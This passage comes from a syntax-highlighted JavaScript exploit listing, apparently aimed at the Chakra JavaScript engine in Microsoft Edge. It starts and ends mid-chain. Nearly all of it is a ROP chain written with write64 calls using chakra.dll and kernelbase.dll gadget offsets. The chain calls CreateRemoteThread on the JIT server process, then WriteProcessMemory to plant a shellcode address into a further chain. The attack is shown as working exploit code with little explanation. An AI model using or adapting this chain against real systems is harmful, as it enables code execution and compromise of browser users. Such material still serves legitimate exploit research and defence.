	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x28b4fe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>	   <span class="c1">// 0x180043c63: Anything we want - this will never get executed</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// HANDLE hProcess (RCX)</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which holds our full perms handle to JIT server</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// LPSECURITY_ATTRIBUTES lpThreadAttributes (RDX)</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// NULL (default security properties)</span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// SIZE_T dwStackSize (R8)</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180576231: pop r8 ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// 0 (default stack size)</span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// Call KERNELBASE!CreateRemoteThread</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0xdcfd0</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!CreateRemoteThread</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!CreateRemoteThread)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!CreateRemoteThread - 0x180243949: add rsp, 0x38 ; ret</span>
	<span class="nx">next</span><span class="p">();</span> 
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// LPVOID lpParameter (RSP+0x28)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000004</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwCreationFlags (RSP+0x30) (CREATE_SUSPENDED to avoid executing the thread routine)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// LPDWORD lpThreadId (RSP+0x38)</span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// WriteProcessMemory() ROP chain (Number 2)</span>
    <span class="c1">// Stage 5 -&gt; Update the final ROP chain, currently in the charka.dll .data section, with the address of our shellcode in the pop rcx gadget and pop rdi gadget</span>
    <span class="c1">// Comments about this occur at the beginning of the VirtualProtect ROP chain we will inject into the JIT process</span>

    <span class="c1">// Before, we need to preserve the thread HANDLE returned by CreateRemoteThread</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a100</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we will store the thread HANDLE</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
    <span class="nx">next</span><span class="p">();</span>

    <span class="c1">// SIZE_T nSize (R9)</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000008</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T nSize (0x8)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
    <span class="nx">next</span><span class="p">();</span>

    <span class="c1">// HANDLE hProcess (RCX)</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0xffffffff</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">);</span>             <span class="c1">// Current process</span>
    <span class="nx">next</span><span class="p">();</span>

    <span class="c1">// LPVOID lpBaseAddress (RDX)</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">ropoffsetOne</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span> <span class="c1">// .data section of chakra.dll where our final ROP chain is</span>
    <span class="nx">next</span><span class="p">();</span>                                                                       

    <span class="c1">// LPCVOID lpBuffer (R8) (Our kernelbase.dll .data section address which points to the value we want to write, the allocation of the VirtualAllocEx allocation)</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180576231: pop r8 ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where the VirtualAllocEx allocation is stored</span>
    <span class="nx">next</span><span class="p">();</span>

    <span class="c1">// Call KERNELBASE!WriteProcessMemory</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x79a40</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!WriteProcessMemory address </span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)         </span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
    <span class="nx">next</span><span class="p">();</span>
